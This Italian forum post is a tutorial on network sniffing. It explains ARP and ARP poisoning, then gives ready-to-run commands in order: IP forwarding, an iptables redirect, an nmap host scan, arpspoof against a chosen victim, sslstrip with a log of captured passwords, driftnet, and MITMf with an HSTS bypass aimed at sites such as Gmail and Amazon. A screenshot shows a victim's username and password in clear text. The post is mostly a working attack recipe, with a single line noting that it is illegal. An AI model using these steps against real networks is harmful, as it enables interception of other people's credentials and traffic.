Guida Sniffing Di Rete [COMPLETO]

Stato
Discussione chiusa ad ulteriori risposte.

MagicWord

Utente Bronze
6 Novembre 2015
6
5
4
37
Questa guida è scritta con l'obiettivo di far capire cos'è e come si esegue correttamente uno sniffing di rete. Contiene cenni teorici per quelli che vogliono saperne di più (Altrimenti passate direttamente alla pratica) ed esempi con immagini. Cominciamo!

Uno sniffing è un attacco di tipo MITM con il quale il traffico di rete di due o più nodi viene intercettato e analizzato, ha l'obiettivo di recuperare dati sensibili che viaggiano in chiaro (HTTP) ma anche bypassare protocolli di sicurezza (HTTPS/HSTS) che cifrano i dati. Uno sniffing di solito viene eseguito all'interno di una LAN a switch tramite la tecnica dell'arp poisoning.

Ci sono essenzialmente due tipi di reti: HUB e SWITCH

Un terminale che desidera comunicare in una rete a HUB si serve di un dispositivo di rete (HUB) che trasmette i pacchetti data sempre in broadcast ovvero in maniera diffusiva a tutti i nodi connessi.
Le reti a switch, largamente più utilizzate, si servono del protocollo ARP per definire anche delle comunicazioni in unicast ovvero lungo un singolo canale di comunicazione.
Il protocollo ARP definisce delle coppie IP-MAC. In queste reti, non è l'indirizzo IP a definire un singolo nodo, nè tantomento il solo indirizzo MAC. Un terminale riconosce un altro terminale perchè nella sua ARP-CACHE è presente la coppia IP-MAC corrispondente al terminale preciso.
Cos'è l'arp poisoning? E come ci permette di eseguire lo sniffing?

Inizialmente, per costruire le ARP-CACHE un nodo invia in broadcast un pacchetto ARP-REQUEST contenente l'indirizzo IP con il quale vuole comunicare. Quando il nodo che ha quell'indirizzo IP riceve la richiesta, invia in unicast il pacchetto ARP-REPLY contenente il suo indirizzo MAC e il suo IP al nodo che vuole comunicare, instaurando così il canale di comunicazione. Ma cosa succede se il pacchetto ARP-REPLY NON contiene il vero indirizzo IP?
In questo caso, il nodo che originariamente voleva comunicare, scrive nella sua ARP-CACHE una falsa coppia IP-MAC, poichè l'indirizzo IP viene falsificato.
L'attaccante può quindi instaurare un MITM falsificando opportunamente gli indirizzi e inviando le ARP-REPLY ai nodi giusti, iniziando così lo sniffing vero e proprio.

Portiamo adesso in pratica questo schema di funzionamento usando ParrotSecOS (Helium):

SNIFFING SEMPLICE PROTOCOLLO HTTP/HTTPS:

1. Abilitare L'IP_FORWARD

Per inviare le ARP-REPLY con gli indirizzi IP forgiati, o in generale per comunicare con altri nodi connessi alla rete inviando pacchetti dati, occorre abilitare l'ip forwarding tramite il seguente comando:

sudo echo 1 > /proc/sys/net/ipv4/ip_forward

svtac8.png


2. Settare le regole iptables

Possiamo immaginare le iptables come dei firewall modificabili, nei quali possiamo settare delle regole ben precise riguardanti le connessioni in entrata e in uscita, in questo caso, reindirizzeremo il traffico http sulla porta 80 verso una porta di nostra scelta tramite il comando:

sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080 <---PORTA SCELTA

eskd4m.png


Verifichiamo l'inserimento della regola con il comando "iptables -t nat -L"


3. Iniziare l'arp-poisoning

Per iniziare l'arp-poisoning, abbiamo bisogno di conoscere l'indirizzo IP del terminale bersaglio nella rete, più l'indirizzo IP del gateway, selezionando anche l'interfaccia di rete con la quale eseguire il poisoning.

Eseguiamo il comando:

sudo nmap -n -sP 192.168.1.0/24 <---- Range di indirizzi della LAN.

Il comando esegue un Ping Scan veloce della rete restituendo gli indirizzi di tutti i nodi collegati e online.

scegliamo il nostro IP bersaglio.

Otteniamo l'indirizzo del gateway tramite il comando:

sudo route -n

5zjuc.png


Eseguiamo l'arp-poisoning:

sudo arpspoof -i [INTERFACCIA] -t [IP BERSAGLIO] [IP GATEWAY]

faoqi9.png


4. Eseguire SSLSTRIP e verificare i dati di log-in tracciati.

Lasciando arpspoof aperto, eseguiamo il comando:

sudo sslstrip -l [PORTA SCELTA]

In una nuova finestra terminale eseguiamo il comando:

sudo tail -f sslstrip.log

Questa sarà la finestra dove i dati verranno mostrati in chiaro.
Ecco l'esempio:

156wsyc.png


Nella finestra di destra, è possibile vedere in chiaro l'Username e la Password di un utente che prova a collegarsi al sito creepypasta.forumcommunity.net

Un'altra utility molto utile è driftnet che ci permette di visualizzare le immagini che l'IP bersaglio sta visualizzando in un dato momento:

sudo driftnet -i [INTERFACCIA]

Le immagini verranno visualizzate in una nuova finestra terminale.

SNIFFING DEL PROTOCOLLO HSTS TRAMITE MITMF:

La metodologia appena descritta è utile per sniffare manualmente il traffico proveniente da una sorgente HTTP e HTTPS, ma molto spesso, i siti web utilizzano una procedura di sicurezza chiamata HSTS, che in taluni casi può essere un problema per uno sniffer, visto che stabilisce che i browser e ogni altro tipo di client debbano comunicare direttamente in HTTPS, senza passare per l'HTTP, questo rende il nostro sniffing inefficace, poichè non possiamo dirottare la sessione HTTPS senza provocare messaggi d'errore che allerterebbero l'utente.
Fortunatamente viene in nostro aiuto MITMF un tool capace di aggirare alcuni certificati e quindi permettere lo sniffing su siti anche molto sicuri come Google, Youtube, Gmail, Libero, Amazon (Non facebook, che utilizza procedure di sicurezza ben più avanzate, nè tantomeno BNL).
Il settaggio di MITMF è molto semplice, basta eseguire il comando:

sudo mitmf --arp --spoof --hsts -i [INTERFACCIA] --target [IP BERSAGLIO] --gateway [IP GATEWAY]

Mitmf si avvierà lanciando varie utility ed eseguendo l'arp poisoning e lo stripping da sè, facendoci vedere direttamente i dati in chiaro. Mitmf funziona anche su browser molto sicuri come Firefox 42.0 e permette anche di verificare l'OS dell'IP bersaglio.

Ovviamente ricordate che lo sniffing su reti di cui non possedete il dominio è illegale, usate bene questa guida.
A breve altre guide di questo tipo!












 
Stato
Discussione chiusa ad ulteriori risposte.